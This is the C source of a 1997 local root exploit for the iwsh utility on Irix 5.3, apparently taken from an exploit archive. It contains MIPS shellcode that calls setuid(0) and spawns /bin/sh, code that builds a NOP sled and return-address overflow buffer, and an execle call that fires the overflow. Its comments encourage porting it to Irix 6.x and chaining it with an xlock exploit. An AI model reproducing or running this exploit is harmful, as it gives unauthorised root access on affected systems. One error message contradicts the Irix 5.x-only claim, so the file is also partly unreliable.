/*
 
 /usr/sbin/iwsh.c exploit by DCRH 27/5/97
 
 Tested on: R3000 Indigo (Irix 5.3)
             R4400 Indy   (Irix 5.3)
 
 Irix 5.x only
 
 compile as: cc iwsh.c
 
 David Hedley found following.   It's a buffer overflow, this  time
 in /usr/sbin/iwsh.  Irix 6.x  also has  the same  buffer overflow,
 but  iwsh  has  changed  significantly  since  5.3  and hence this
 exploit won't work on it. Students with nothing better to do  with
 their time can modify it appropriately.....
 
 Astute people will notice an extra 3 machine code instructions  in
 the shell  code. They  just do  a 'setuid(0)'  because iwsh leaves
 you with uid=0,euid=youruserid and ideally you would have  euid=0.
 Brave souls can integrate this  into the xlock exploit (see  xlock
 under IRIX section on Security Bugware).  This exploit was  tested
 on:
 
     R3000 Indigo (Irix 5.3)
     R4400 Indy   (Irix 5.3)
 
 
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define NUM_ADDRESSES   500
#define BUF_LENGTH      500
#define EXTRA           9000
#define OFFSET          0x180
#define GP_OFFSET       -0x80
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
  0x03a01025,         /* move $v0,$sp   [2000]*/
  0x03e00008,         /* jr $ra         [2000]*/
  0x00000000,         /* nop            [2000]*/
};

u_long irix_shellcode[] = {
  0x24041234,         /* li $4,0x1234   [2000]*/
  0x2084edcc,         /* sub $4,0x1234  [2000]*/
  0x0491fffe,         /* bgezal $4,pc-4 [2000]*/
  0x03bd302a,         /* sgt $6,$sp,$sp [2000]*/
  0x03bd202a,         /* sgt $4,$sp,$sp [2000]*/
  0x240203ff,         /* li $v0,1023    [2000]*/
  0x03ffffcc,         /* syscall 0xfffff[2000]*/
  0x23e40138,         /* addi $4,$31,264+48   */
  0xa086feff,         /* sb $6,-264+7($4)     */
  0x2084fef8,         /* sub $4,264     [2000]*/
  0x20850110,         /* addi $5,$4,264+8     */
  0xaca4fef8,         /* sw $4,-264($5) [2000]*/
  0xaca6fefc,         /* sw $4,-260($5) [2000]*/
  0x20a5fef8,         /* sub $5, 264    [2000]*/
  0x240203f3,         /* li $v0,1011    [2000]*/
  0x03ffffcc,         /* syscall 0xfffff[2000]*/
  0x2f62696e,         /* "/bin"         [2000]*/
  0x2f7368ff,         /* "/sh"          [2000]*/
};

char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
  char *env[] = {NULL};
  u_long targ_addr, stack, tmp;
  u_long *long_p;
  int i, code_length = strlen((char *)irix_shellcode)+1;
  u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

  stack = get_sp();

  if (stack & 0x80000000)
    {
      printf("Recompile with the '-32' option\n");
      exit(1);
    }

  long_p =(u_long *)  buf;
  targ_addr = stack + OFFSET;

  if (argc > 1)
    targ_addr += atoi(argv[1]) * 4;

  if (targ_addr + GP_OFFSET > 0x80000000)
    {
      printf("Sorry - this exploit for Irix 6.x only\n");
      exit(1);
    }

  tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;

  while ((tmp & 0xff000000) == 0 ||
         (tmp & 0x00ff0000) == 0 ||
         (tmp & 0x0000ff00) == 0 ||
         (tmp & 0x000000ff) == 0)
    tmp += 4;

  for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++)
    {
      *long_p++ = targ_addr;
      *long_p++ = targ_addr;
      *long_p++ = tmp;
      *long_p++ = tmp;
    }

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = IRIX_NOP;

  for (i = 0; i < code_length/sizeof(u_long); i++)
    *long_p++ = irix_shellcode[i];

  tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;

  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ = (tmp >> 8) | (tmp << 24);

  *long_p = 0;

  printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

  execle("/usr/sbin/iwsh", "iwsh", "-xrm", &buf[2], 0, env);
  perror("execl failed");
}
/*                    www.hack.co.za              [2000]*/